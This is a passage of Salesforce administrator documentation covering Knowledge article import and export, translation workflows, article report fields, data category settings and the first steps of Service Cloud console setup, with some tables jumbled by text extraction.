Format of the date to read in the .csv file yyyy-MM-dd Format of the date and time to read in yyyy-MM-dd HH:mm:ss the .csv file Character encoding used to read the .csv ISO8859_15_FDIS file .csv file separator ,

Default encoding used for the HTML ISO8859_15_FDIS files (if not specified in the charset attribute from the HTML meta tag). Note: Salesforce does not support UTF-32 character encoding. We recommend using UTF-8. If you use specify

1548

Customize

Importing Articles

Key

Description UTF-16 character encoding, ensure your HTML files specify the right byte-order mark.

Default Value

Note: You must specify only Java date formats. Make sure the date format is not misleading. For example, if you choose the format yyyy-M-d, a date entered as 2011111 can be interpreted as 2011-01-11 or 2011-11-01. Specify at least : Two digits for month and day format (MM, dd) Four digits for year format (yyyy)

If a date in the .csv file does not match the date format specified in the property file, the related article is not imported. Example offerarticlesimport.properties property file:
DateFormat=yyyy-MM-dd DateTimeFormat=yyyy-MM-dd HH:mm:ss CSVEncoding=ISO8859_15_FDIS CSVSeparator=, RTAEncoding=UTF-8

See Also:
Importing Articles Create a .csv File for Article Import Create a .zip File for Article Import

1549

Customize

Importing Articles

Create a .zip File for Article Import


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

To complete the import, create a .zip file containing: The .csv file. The folder containing the .html files to import. The folder containing the image files referenced in the .html files. The .properties file.

The import .zip file must meet the following requirements: There can only be one .csv file and one .properties file. The .csv file and the .properties file must be in the root directory. The compression process must preserve the folder and subfolder structure. The .zip file cant exceed 10 MB and the uncompressed files cant exceed 100 MB. .csv files cant have more than 10,000 rows, including the header row. Therefore, you can have a maximum of 9,999 articles and translations. .csv file rows cant exceed 400,000 characters. .csv file cells cant exceed 32 KB. Each article in the .csv file cant have more than 49 translations.

Upload your .zip file: 1. Select Your Name > Setup > Data Management > Import Articles. 2. Select the appropriate Article Type for the imported articles.

1550

Customize

Importing Articles

3. Click Browse to select the .zip file, and click OK. 4. If your import contains translations, select the Contains translations? checkbox. Note: If this checkbox is selected, your .csv file must contain the isMasterLanguage, Title, and Language columns. If this checkbox is not selected, your csv file cant contain the isMasterLanguage column but must contain the Title column. The Language column is optional for imports of articles without translations. 5. Click Import Now. When the import is complete you receive an email with an attached log that provides details about the import.

See Also:
Importing Articles Specify Parameters for Article Import View Salesforce Knowledge Import and Export Status

View Salesforce Knowledge Import and Export Status


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

To check the status of your imports and exports, click Your Name > Setup > Monitoring > Article Imports and Exports. If you've enabled multiple languages for Salesforce Knowledge, you see two tables: one for article and translation imports and another for exports for translation. Import information includes:

1551

Customize

Importing Articles

Possible actions .Zip file names Who submitted it and when Status Started and completed dates Article types

Export information includes: Possible actions Zip file names Who submitted it and when Status Started and completed dates

Status descriptions are as follows: Status Pending Description Possible Action

The import or export will start as soon You can click Cancel to cancel the import as the previous pending import or export or export. completes. The import or export is processing. If you want to stop the process, or if the process has been stopped, call Salesforce Support. Salesforce may stop an import or export if a maintenance task has to be performed or the import or export exceeds one hour. Contact Salesforce Support to restart the import or export, or click Cancel to cancel an entry. You can restart an import or export, click Del to delete an entry, or click Email Log to receive the completion email and check the details of your import or export.

Processing

Stopping/Stopped

Salesforce Support is stopping or has already stopped the import or export. The import or export has been canceled. The articles that already imported or exported successfully are available in Salesforce. The import or export is complete.

Aborted

Completed

Note that this status doesn't mean the import or export is successful. Click Successfully imported articles are visible Email Log to see the log file attached to on the Article Management tab on the the completion email and check the details of your import or export.

1552

Customize

Importing Article Translations

Status

Description

Possible Action

Articles subtab. Successfully imported Click the exported .zip file name to save

translations are visible on the Article or open the file on your system. Management tab on the Translations subtab.

See Also:
Importing Articles

Importing Article Translations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

Consider the following before importing translated articles into Salesforce: You can only import articles that have been exported from the same Salesforce organization. For example, you can't export articles from your test or sandbox organization and import them into your production organization. You must place all the translation files (meaning, those exported from Salesforce and translated by your vendor) in a folder whose name is the same as the language code. For example, put French articles in an fr folder. Zip up this folder to create your import file.

1553

Customize

Importing Article Translations

To import translated articles successfully, verify that the file structure and their extensions match the file structure and extensions of files exported from Salesforce Knowledge for translation. For example, if the target language is French, the file structure begins as follows:
import.properties -fr --articletypearticlename_kav ---articlename.csv ---[Article collateral, html, images, etc.]

To import translated articles: 1. Click Your Name > Setup > Data Management > Import Article Translations. 2. Choose how Salesforce handles translations after they're imported. Option Description

Review imported translations on the Article Add imported translations to a queue from which users can Management tab before publishing review them. Publish translations immediately on import Publish imported translations without reviews.

3. Select the language of the articles you're importing. 4. Optionally, if you chose to have articles reviewed before publishing, select to send the files to a user or a queue and then select the name of the user or queue. 5. Click Browse, choose the translation .zip file to upload, and click Open. 6. Click Import Now. If you have more translated articles to upload, repeat steps four through six. 7. Click Finish. An email notification is sent to you when your import finishes. You can view the status of your import by clicking Your Name > Setup > Monitoring > Article Imports and Exports.

See Also:
Setting up a Multilingual Knowledge Base Exporting Articles for Translation

1554

Customize

Reporting on Salesforce Knowledge Articles

Reporting on Salesforce Knowledge Articles


High-level tasks for reporting on Salesforce Knowledge articles. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To create a public reports folder: Manage Custom Report Types Manage Public Reports

As an administrator, you can create custom report types so users can create reports on Salesforce Knowledge articles. Custom report types are the only way to make reports about articles available for your usersSalesforce does not provide sample article reports or a standard report folder for articles. Tip: The Knowledge Base Dashboards and Reports AppExchange package provides over two dozen reports that help you monitor the knowledge base and analyze usage metrics. The following steps explain how to define custom report types, create a public folder that appears on the Reports tab, and add custom reports to the folder so users can easily access article reports. 1. Create a Custom Report Type for Article Data 2. Create a Folder for Article Reports 3. Create an Article Report

See Also:
Custom Report Types Overview Setting Up Custom Report Types Creating a Report Creating a Custom Report Fields Available on Salesforce Knowledge Reports

1555

Customize

Reporting on Salesforce Knowledge Articles

Create a Custom Report Type for Article Data


Create a custom report type to report on Salesforce Knowledge article data. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To create a public reports folder: Manage Custom Report Types Manage Public Reports

To create a custom report: 1. Click Your Name > Setup > Create > Report Types and click New Custom Report Type. 2. In the Primary Object drop-down menu, select the article-related object you want to report on:
Primary Object Knowledge Articles Description Select if you want to compare information about individual articles, such as their creation dates, published channels, and number of associated cases. If you choose this custom report type, you can also include article view and vote statistics. In reports using the Knowledge Articles primary object, each article has five records (rows): one for each channel (All Channels, Internal App, Customer Portal, Partner Portal, and Public Knowledge Base). Select if you want to analyze the number of searches per day, month, or year for each channel and role. Select if you want to compare information about individual translations, such as their creation dates, published channels, and number of associated cases. If you choose this custom report type, you can also include article view and vote statistics. Select if you want to analyze the number of views per day, month, or year for each channel and role. Select if you want to analyze the number of votes per day, month, or year for each channel and role. Select if you want to see which keywords users are looking for in your knowledge base. Select if you want to compare information such as creation dates, published channels, and number of associated cases for your custom article type, like an FAQ. Be sure to add the article types version as a secondary object to access any custom fields for the custom article type.

Knowledge Article Searches Knowledge Article Version

Knowledge Article Views Knowledge Article Votes Knowledge Keyword Search Article types

3. Complete the required fields and click Save. In the Store in Category drop-down menu, we recommend choosing Customer Support Reports or Other Reports. This is the category where users will find the custom report type on the Reports tab. 4. Make your choices on the Define Report Records Set page.
Primary Object Knowledge Articles Knowledge Article Searches Available Secondary Objects Article View Statistics, Article Vote Statistics, Case Article None

1556

Customize

Reporting on Salesforce Knowledge Articles

Primary Object Knowledge Article Version Knowledge Article Views Knowledge Article Votes Knowledge Keyword Search Article types

Available Secondary Objects Article View Statistics, Article Vote Statistics None None None Article type Versions

5. Click Save. 6. As needed, remove, and rearrange fields from your report layout. To learn which fields are available on each primary object, see Fields Available on Salesforce Knowledge Reports on page 1559.

See Also:
Reporting on Salesforce Knowledge Articles

Create a Folder for Article Reports


Create a public folder where you can store article reports for your users. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To create a public reports folder: Manage Custom Report Types Manage Public Reports

Create a public folder where you can store article reports for your users. 1. 2. 3. 4. In the Report Folder section of the Reports tab, click Create New Folder. Enter Article Reports in the Folder Label field. Optionally, modify the Group Unique Name. Choose a Public Folder Access option. Select read/write if you want users to be able to add and remove reports. 5. Choose a folder visibility option. 6. Click Save. Reports you store in this folder are available on the Reports tab.

See Also:
Reporting on Salesforce Knowledge Articles

1557

Customize

Reporting on Salesforce Knowledge Articles

Create an Article Report


Run your custom report on your Salesforce Knowledge articles and save them to your article reports folder. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To create a public reports folder: Manage Custom Report Types Manage Public Reports

Using your custom report types, create article reports and save them to your article reports folder. 1. On the Reports tab, click New Report. 2. Choose the category where your custom report types are stored; for example, Customer Support Reports or Other Reports. The Cases with Articles report is available by default in the Customer Support Reports folder. 3. Find your report type and click Create. For detailed information about creating a report, see Selecting a Report Type. 4. When viewing your report, click Save As and save it in the new Article Reports folder to make the report available to other users. Note: In reports using the Knowledge Article custom report type, there are at least five rows per article (one for each channel, including All Channels). In reports using the Knowledge Article Votes, Knowledge Article Views, or Knowledge Article Searches custom report types, each row represents a day, channel, and role combination. For example, if a user with the Kingmaker role views articles in the internal app and the next day the same user views more articles in the internal app, the Article Views report has two rows: one for each unique date.

See Also:
Reporting on Salesforce Knowledge Articles

1558

Customize

Reporting on Salesforce Knowledge Articles

Fields Available on Salesforce Knowledge Reports


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or update custom report types: To create a public reports folder: Manage Custom Report Types Manage Public Reports

The following tables list the available fields by primary object for Salesforce Knowledge reports. Fields Available on Knowledge Articles Reports Field
Article Number Article Type Case Association Count Created By Created Date First Published Date Is Latest Version

Description Unique number automatically assigned to the article. The article type associated with the article. Number of cases attached to the article. User who created the article. Date the article was drafted. If the article has been published more than once, this is the original draft date. Date the article was originally published. Indicates if the article is the most recent version.

Knowledge Article Version Unique ID automatically assigned to the article translation. ID Last Modified By Last Modified Date Last Published Date Summary Title URL Name Validation Status Version Number Visible in Customer Portal Visible in Internal App

User who changed the article most recently. Date the article was last changed. Date the article was last published. Description of the article provided by the author. The articles title. Text used as hyperlink for the article. Indicates if the article is valid or not. The version number of the article. Indicates that the article is published in the Customer Portal. Indicates that the article is published in the internal app (Articles tab).

Visible in Partner Portal Indicates that the article is published in the partner portal.

1559

Customize

Reporting on Salesforce Knowledge Articles

Field
Visible in Public Knowledge Base

Description Indicates that the article is published in the public knowledge base.

Fields Available on Knowledge Article Searches Reports Field


Channel Count Cumulative Count Date Duration Related Role

Description The channel applicable to the article. Possible values include All Channels, Internal App, Customer Portal, Partner Portal, and Public Knowledge Base. The number of article searches applicable to the duration shown (day, month, year). The total number of article searches for the history of the record. Last date on which an article search took place for the record. All rows represent a date, channel, and role combination. Indicates the aggregation (daily, monthly, or yearly ). Name of the role that applies to the record. Each row in the report represents searches per channel per role.

Fields Available on Knowledge Article Version Reports Field


Archived By Archived Date Article Number Article Type Case Association Count Created By Created Date First Published Date Is Latest Version Is Master Language

Description User who archived the article. Date the article was archived. Unique number automatically assigned to the article. The article type associated with the article. Number of cases attached to the article. User who created the article. Date the article was drafted. If the article has been published more than once, this is the original draft date. Date the article was originally published. Indicates if the article is the most recent version. Indicates that the article is not a translation, but the original article.

Knowledge Article Version Unique ID automatically assigned to the article translation. ID Language Last Modified By Last Modified Date

The article's language. User who changed the article most recently. Date the article was last changed.

Date the article was last published. Date the article was last published.

1560

Customize

Reporting on Salesforce Knowledge Articles

Field
Master Language Out of Date Publication Status Summary Title Translation Completed Date

Description The original language of the article. Indicates that the master article has been updated since this translation was published. Indicates whether the article or translation is in progress (draft), published, or archived. Description of the article provided by the author. The articles title. Date the translation was completed.

Translation Exported Date Date the article was exported for translation. Translation Imported Date Date the translation was imported. URL Name Validation Status Version Number Visible in Customer Portal Visible in Internal App

Text used as hyperlink for the article. Indicates if the article is valid or not. The version number of the article. Indicates that the article is published in the Customer Portal. Indicates that the article is published in the internal app (Articles tab).

Visible in Partner Portal Indicates that the article is published in the partner portal. Visible in Public Knowledge Base

Indicates that the article is published in the public knowledge base.

Fields Available on Knowledge Article Views Reports Field


Channel Count Cumulative Count Date Duration Related Role Total Views

Description The channel applicable to the article. Possible values include All Channels, Internal App, Customer Portal, Partner Portal, and Public Knowledge Base. The number of article views applicable to the duration shown (day, month, year). The total number of article views for the history of the record. Last date on which an article view took place for the record. All rows represent a date, channel, and role combination. Indicates the aggregation (daily, monthly, or yearly ). Name of the role that applies to the record. Number of times a published article has been viewed.

1561

Customize

Reporting on Salesforce Knowledge Articles

Fields Available on Knowledge Article Votes Reports Field


Channel Count Cumulative Count Date Duration Related Role Score

Description The channel applicable to the article. Possible values include All Channels, Internal App, Customer Portal, Partner Portal, and Public Knowledge Base. The number of article votes applicable to the duration shown (day, month, year). The total number of article votes for the history of the record. Last date on which an article vote took place for the record. All rows represent a date, channel, and role combination. Indicates the aggregation (daily, monthly, or yearly ). Name of the role that applies to the record. Article's average rating on a scale of 1 to 5. Note that scores take into account a half-life calculation. Every 15 days, if an article has not received a new vote its average rating moves up or down. This change ensures that over time, older or outdated articles don't maintain artificially high or low ratings compared to newer, more frequently used articles. Articles without recent votes trend towards an average rating of three stars. The total score for an article including the points from all votes. Each vote provides a number of points: 1 Star is 10 points 2 Stars is 5 points 3 Stars is 0 points 4 Stars is +5 points 5 Stars is +10 points If you want to report on highest-rated articles without taking into account the decay factored into the Score field, use the Total Sum field.

Total Sum

Total Votes

Number of votes for an article.

Fields Available on Knowledge Keyword Search Reports Field


Channel Count Date Duration Found Keyword

Description The channel applicable to the article. Possible values include All Channels, Internal App, Customer Portal, Partner Portal, and Public Knowledge Base. The number of keyword searches applicable to the duration shown (day, month, year). Last date on which a keyword search took place for the record. All rows represent a date, channel, and role combination. Indicates the aggregation (daily, monthly, or yearly ). Indicates whether the keyword shown was found during a search of the knowledge base. Search term used to search published articles in the knowledge base.

1562

Customize

Reporting on Salesforce Knowledge Articles

Fields Available on Your Article types Reports The Article Type primary object allows you to add a secondary object of the article type version. Table 1: Article Type Report Primary Object fields Field
Archived By Archived Date Article Number Article Type ID Case Association Count Created By Created Date

Description User who archived the article. Date the article was archived. Unique number automatically assigned to the article. The ID associated with the article type. Number of cases attached to the article. User who created the article. Date the article was drafted. If the article has been published more than once, this is the original draft date. Any custom fields created on the article types. Add the article types version as a secondary object to access any custom fields for the article type. Date the article was originally published.

Custom fields
First Published Date

Knowledge Article Version The articles version number. Last Modified By Last Modified Date Last Published Date Master Language

User who changed the article most recently. Date the article was last changed. Date the article was last published. The original language of the article.

Table 2: Article Type Report Secondary Object fields Field


Archived By Article Type Created By Created Date

Description User who archived the article. The article type associated with the article. User who created the article. Date the article was drafted. If the article has been published more than once, this is the original draft date. Any custom fields created on the article types. Add the article types version as a secondary object to access any custom fields for the article type. Indicates if the article is the most recent version. Indicates that the article is not a translation, but the original article.

Custom fields
Is Latest Version Is Master Language

Knowledge Article Version Unique ID automatically assigned to the article translation. ID Language Last Modified By

The article's language. User who changed the article most recently.

1563

Customize

Following Articles in Chatter Feeds

Field
Last Modified Date Out of Date Publication Status Summary Title Translation Completed Date

Description Date the article was last changed. Indicates that the master article has been updated since this translation was published. Indicates whether the article or translation is in progress (draft), published, or archived. Description of the article provided by the author. The articles title. Date the translation was completed.

Translation Exported Date Date the article was exported for translation. Translation Imported Date Date the translation was imported. URL Name Validation Status Version Number Visible in Customer Portal Visible in Internal App

Text used as hyperlink for the article. Indicates if the article is valid or not. The version number of the article. Indicates that the article is published in the Customer Portal. Indicates that the article is published in the internal app (Articles tab).

Visible in Partner Portal Indicates that the article is published in the partner portal. Visible in Public Knowledge Base

Indicates that the article is published in the public knowledge base.

See Also:
Reporting on Salesforce Knowledge Articles

Following Articles in Chatter Feeds


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit the feed tracking setup page: Customize Application

Feed tracking for Salesforce Knowledge articles is enabled by article type rather than article. To enable feed tracking for article types: 1. Click Your Name > Setup > Customize > Chatter > Feed Tracking.

1564

Customize

Modifying Category Group Assignments in Salesforce Knowledge

2. Select an article type. Each article type appears by name in the Object list. For example, if your organization has three article types named Offer, FAQ, and Warranty, all three appear alphabetically in the Objects list. 3. Select Enable Feed Tracking, then click Save when you're done with the page. Unlike other objects, individual fields on article types are not tracked. Instead, changes to publication status trigger updates. Specifically, when you follow an article (meaning you've clicked Follow on the published article), posts about that article on your Home tab feed occur: If the article is removed from the knowledge base for edit (unpublished) and you have the Manage Articles permission. Three Months Free Al Smith unpublished this offer If the article is republished. Three Months Free Al Smith published a new version of this offer If the article is republished and flagged as new by the publisher. Three Months Free Al Smith published this new offer If the article is archived. Three Months Free Al Smith archived this offer Note: The article-title link always opens the current version of the article in the knowledge base. For example, let's say you're following an article that is converted to draft (unpublished) on Monday, republished with changes on Tuesday, and archived on Friday. You receive three updates in your feed: one for each status change. If on Friday you browse your feed history and click the article link from Monday's update, the archived version of the article opensnot Monday's draft version.

See Also:
Chatter Overview Salesforce Knowledge Overview Salesforce Knowledge Terminology Defining Article Types

Modifying Category Group Assignments in Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify category groups assignments in Salesforce Knowledge: Customize Application AND Manage Salesforce Knowledge

Salesforce Knowledge uses data categories to classify articles. Authors can assign up to eight data categories from one category group to an article so that users searching for articles can find and filter by category. For more information, see What are Data Categories? on page 1625

1565

Customize

Prefilter Articles with Data Category Mapping Beta

Data categories are organized by category group. After creating category groups, you can decide which groups should be used for Salesforce Knowledge articles. For example, if your organization uses both the Answers and Salesforce Knowledge, you may want one category group to be used by the answers community and two other category groups to be used for articles. Answers and articles can use the same category group. By default, all the category groups you create are assigned to Salesforce Knowledge. To modify the assignment: 1. Click Your Name > Setup > Customize > Knowledge > Data Category Assignments. A list of all category groups appears. 2. Click Edit and move any category groups that you don't want available for articles from the Selected Category Groups list to the Available Category Groups list. Later, you can choose to make a hidden category group visible. 3. Click Save. You receive an email after the save process completes. Authors can now assign categories in the selected groups to articles on the Article Management tab. Note that authors can only access categories if the category group is active and the author's data category visibility settings provide access to the category.

Prefilter Articles with Data Category Mapping Beta


Data category mapping allows you to prefilter articles based on case information in the Article tab, advanced search, and the article sidebar component based on case information. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To map data category groups Customize Application AND Manage Salesforce Knowledge

Important: Prefiltering articles based on case information is only supported in text and picklist fields.

Data category mapping allows you to define which articles appear in the Articles tab, advanced search, and the article sidebar component based on case information. For information on data categories, see What are Data Categories? on page 1625 To implement data category mapping, select which case fields map to which data category groups and set a default data category for cases that have no value for the mapped fields. 1. Go to Your Name > Setup > Customize > Knowledge > Data Category Mappings. 2. In the Case Field column, use the drop-down list to add a field. 3. In the Data Category Group column, use the drop-down list to map the information from the lookup field to a data category group. 4. In the Default Data Category column, use the drop-down list to assign a data category when the field value does not match any categories from the category group. 5. Click Add.

1566

Customize

Supporting Multiple Languages in Your Knowledge Base

For example, you can map a products custom case field to a products data category group to filter the articles for the customer's products.

Supporting Multiple Languages in Your Knowledge Base


Available in: Enterprise, Unlimited, and Developer Editions

Watch a Demo (3:39 minutes) With multiple languages for Salesforce Knowledge you can lower support costs by translating articles into the languages your audience prefers. After an administrator selects your language settings, two translation methods are available: translating articles in-house using the editing tool in the knowledge base, or sending articles to a localization vendor. Different languages can use different methods. For example, you may want to export articles to a vendor for French translations, but assign articles to a Salesforce Knowledge user for Spanish translations. Translating an article within the knowledge base usually follows these steps: 1. An author or reviewer submits an article for translation to another knowledge base user (the assignee). 2. The assignee translates the article using the article editor, then assigns the finished translation to a reviewer or publisher. 3. The reviewer publishes the article. Publishing an article automatically includes both the source article and its completed translations. Note that a translated version of an article can be published before its source article, but it will only be visible to readers when its source article is also published. Translating an article using a vendor usually follows these steps: 1. An author or reviewer assigns an article to a queue for translation. 2. An administrator creates an export file from the queue and sends the file to the localization vendor. 3. After the vendor returns the translated articles, an administrator imports the translated articles into the knowledge base. Imported articles can be published automatically or assigned to a reviewer. 4. If the translations weren't published automatically, the assignee reviews and publishes them. Implementation Tips Before you add languages to your knowledge base, decide for each language whether you want to translate articles directly in Salesforce or export articles to a translation vendor. Communicate your decision to the people involved in the translation process (authors, reviewers, translation managers, publishers). When adding a language to your knowledge base, keep in mind that it can't be deleted; however, you can hide a language by making it inactive. Deactivating a language means it no longer appears as a choice in the New Article dialog or the Submit for Translation dialog. Also, if articles are already published in the language, those articles are no longer visible to readers as soon as the language is deactivated. You can only add languages supported by Salesforce to your knowledge base. To enable the article export feature, you must create one or more queues; authors and reviewers will select the queue when they submit an article for translation. Make sure they know which queue to choose for which language. You must place all the translation files (meaning, those exported from Salesforce and translated by your vendor) in a folder whose name is the same as the language code. For example, put French articles in an fr folder. Zip up this folder to create your import file.

1567

Customize

Supporting Multiple Languages in Your Knowledge Base

Best Practices To hide translated articles for a specific language, deactivate the language by unchecking Active on the Settings page. To import translated articles successfully, verify that the file structure and their extensions match the file structure and extensions of files exported from Salesforce Knowledge for translation. For example, if the target language is French, the file structure begins as follows:
import.properties -fr --articletypearticlename_kav ---articlename.csv ---[Article collateral, html, images, etc.]

See Also:
Setting up a Multilingual Knowledge Base Exporting Articles for Translation Importing Article Translations Translating Articles within Salesforce Knowledge

Setting up a Multilingual Knowledge Base


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up multiple languages for Salesforce Knowledge: Customize Application AND Manage Salesforce Knowledge

To set up your knowledge base to support multiple languages: 1. If you will send articles to a vendor for translation, you must create a translation queue. For a description of the translation process, see Supporting Multiple Languages in Your Knowledge Base on page 1567. 2. On the Your Name > Setup > Customize > Knowledge > Settings page click Edit. 3. Select Multiple Languages and add the languages you want to include in your knowledge base. You can only add languages supported by Salesforce. Note: You can't remove a language once you've added it to your knowledge base.

4. Optionally, choose the following settings for each language:

1568

Customize

Supporting Multiple Languages in Your Knowledge Base

Setting
Active

Description Only active languages appear in the New Article dialog and the Submit for Translation dialog. Also, active/inactive status determines whether a published article is visible. For example, if articles are published in Spanish to your partner portal and then you make Spanish an inactive language, the articles are no longer visible to partners. This value appears in the Assign To field of the Submit for Translation dialog. Choose a person or a queue: the individual responsible for translating articles into this language, or the queue used for exporting articles to a localization vendor. Select the person who should be assigned to review or publish translations imported in this language.

Default Assignee

Default Reviewer

5. Click Save.

See Also:
Setting Up Salesforce Knowledge Customizing Salesforce Knowledge Settings

Translating Articles within Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To work with translated articles: Manage Articles AND Create, Read, Edit, or Delete on the article type (depending on the action)

Depending on the status of your translation and the article actions assigned to you, you can do the following from the translation detail page. Action Archive Description Article Status

Archiving removes published translations To archive a translation, archive its that are obsolete so they no longer display master article. to agents and customers on your

1569

Customize

Supporting Multiple Languages in Your Knowledge Base

Action

Description organization's Salesforce Knowledge channels.

Article Status

Assign... Delete

Assigning changes the owner of the translation. Deleting a translation permanently removes it from the knowledge base. Note: You can't undelete a draft translation.

Draft translations Draft translations

Edit Preview

Editing modifies the translation's content Draft and published translations or properties. Previewing shows how the translation appears to end users. Note: Voting and Chatter information is not available when previewing a Knowledge article. Draft and published translations

Publish...

Publishing translations makes them visible in all channels selected.

Draft translations

To translate an article within Salesforce: 1. Click the Article Management tab and select Translations in the View area. 2. Select Draft Translations. 3. Optionally, change the Assigned To filter to view articles that are not assigned to you for translation. For example, you may want to view articles assigned to a translation queue. 4. Click Edit next to the article and language you want to translate. 5. Enter your translation. 6. Click Save. Note: You can also edit a published translation. It reverts to draft status until you republish it, although you can choose to keep the existing version published while you update it.

See Also:
Supporting Multiple Languages in Your Knowledge Base Exporting Articles for Translation Importing Article Translations

1570

Customize

Supporting Multiple Languages in Your Knowledge Base

Exporting Articles for Translation


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To export articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export To view articles: To create articles: Read on the article type Read and Create on the article type

If your organization sends Salesforce Knowledge articles to a vendor for translation, articles are put into a translation queue. Note: You can have up to 50 exports in 24 hours and a maximum of 15 pending exports (exports that have not entered a final state such as Completed, Failed, or Cancelled). To generate an export file containing the articles that have been submitted for translation: 1. Click Your Name > Setup > Data Management > Export Articles for Translation. 2. Select the queue that contains the articles you're exporting. 3. Click either: All articles to export every article in the queue. Updated articles to only export articles that have been modified or added.

4. Click Continue. 5. Select the source and target language pairs you want to export. Salesforce creates a separate .zip file for every article type in each language pair. Important: You must retain the .zip file structure for a successful import. For more information, see Importing Article Translations on page 1553. 6. To have the files reviewed or published after being translated, select a user or a queue and then select the name of the user or queue. 7. Select the file character encoding: ISO-8859-1 (General US & Westion European, ISO-LATIN-1) Unicode Unicode (UTF-8) default Japanese (Windows)

1571

Customize

Supporting Multiple Languages in Your Knowledge Base

Japanese (Shift_JIIS) Chinese National Standard (GB18030) Chinese Simplified (GB2312) Chinese Traditional (Big5) Korean Unicode (UTF-16, Big Endian)

8. Select the delimiter for the .csv files. The delimiter is the separator for columns when the file is converted to table form. Your options are: Tab (This is the default.) Comma

9. Click Export Now. You're notified by email when your export is complete. You can also check the status of your export by viewing the Article Import and Export Queue at Your Name > Setup > Monitoring > Article Imports and Exports. For description of status states, see View Salesforce Knowledge Import and Export Status on page 1551. 10. Unzip the exported files, but retain the file structure for a successful import.

See Also:
Setting up a Multilingual Knowledge Base Importing Article Translations

Creating an Article Queue


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change queues: Customize Application AND Manage Public List Views To create or change queues created by other users: Customize Application AND Manage Public List Views AND Manage Users

If your organization wants to use queues in approval processes or send articles for translation outside of Salesforce, you need to create one or more queues. When authors or reviewers submit an article for review or translation, they select the appropriate

1572

Customize

Supporting Multiple Languages in Your Knowledge Base

queue. For reviews, you can create queues made up of reviewers with different areas of expertise. For translation queues, you can create one queue for each language or combine languages within queues. To create a queue: 1. Click Your Name > Setup > Manage Users > Queues. 2. Click New. 3. Enter the Label and Queue Name. The Label is the queue label as it appears on the user interface. The Queue Name is a unique name used by the API and managed packages, and can only contain alphanumeric characters and underscores. 4. Choose email notification settings for the queue: To Notify You Must

One email address when new records are placed in the queue Add an email address to Queue Email. You can add an email address for an individual user or an email distribution list. All queue members individually when new records are placed Leave Queue Email blank. in the queue All queue members and the Queue Email individually when new records are placed in the queue Add an email address to Queue Email and check Send Email to Members.

5. Add Knowledge Article Version as the object available to the queue. 6. Choose queue members. You can select individual users, roles, public groups, territories, connections, or partner users. Only queue members and users above them in the role hierarchy can take ownership of records in the queue, depending on your organization's sharing settings. 7. Click Save.

See Also:
Exporting Articles for Translation Queues Overview Creating Queues

1573

Setting Up a Service Cloud Console

Setting Up a Service Cloud Console

SETTING UP A SERVICE CLOUD CONSOLE


Setting Up a Service Cloud Console
Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To set up a Service Cloud console: Customize Application

To set up a Service Cloud console: 1. 2. 3. 4. 5. 6. 7. 8. 9. Customize highlights panels for all objects. Create an app for your Service Cloud console and assign it to user profiles. Set up interaction logs. Assign interaction logs to user profiles. Choose how lists display. Whitelist domains. Customize push notifications. Customize keyboard shortcuts. Set up call center with version 4.0 of the CTI Toolkit. Call center users can only use a SoftPhone in a Service Cloud console if they're using a CTI adapter built with version 3.0 or 4.0 of the CTI Toolkit; or if theyre using a call center built with the Open CTI. 10. Optionally: Save user sessions automatically. Turn on the Knowledge sidebar. Turn on Live Agent.

11. Assign users the Service Cloud User feature license.

1574

Customize

Setting Up a Service Cloud Console

Note: Advanced administrators and developers can use the Service Cloud Console Integration Toolkit, or custom console components, to implement custom functionality for the console. See Custom Console Components Overview on page 1588.

See Also:
Administrator setup guide: Service Cloud Console Implementation Guide Service Cloud Console Implementation Tips Service Cloud Console Overview Service Cloud Console Terminology Setting Up Salesforce Knowledge Setting Up Live Agent

Customizing Highlights Panels for a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

The highlights panel is a table of up to four columns at the top of every primary tab in a Service Cloud console. It lets console users view key information at a glance. Each of its columns has one or two fields that you can customize to suit your business needs. To edit a highlights panel, hover over the highlights panel on any page layout and click panel). (or double-click the highlights

To add or change fields, click the appropriate column and select fields from the Top Field and Bottom Field lists: Fields must also be on the detail page layout. If the fields you want to add aren't listed, add them to the detail page layout. Rich text area (RTA) and custom long-text area fields are not supported in the highlights panel, even if they are included in the detail page layout. Fields can appear once per highlights panel. Fields already in use appear grey in the field-selection lists.

To remove fields, click the appropriate column and select -None- from the field-selection lists. To add columns, click Add Column. To remove columns, hover over the column and click .

1575

Customize

Setting Up a Service Cloud Console

To save highlights panel changes, click OK in the Highlights Panel Properties dialog box. When you've finished editing the page layout, click Save. Don't navigate away from the page layout before clicking Save or you'll lose your changes.

See Also:
Service Cloud Console Overview Setting Up a Service Cloud Console Customizing Page Layouts Setting Up a Service Cloud Console Highlights Panel Fields and Format Turning Off Highlights Panels

Highlights Panel Fields and Format


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

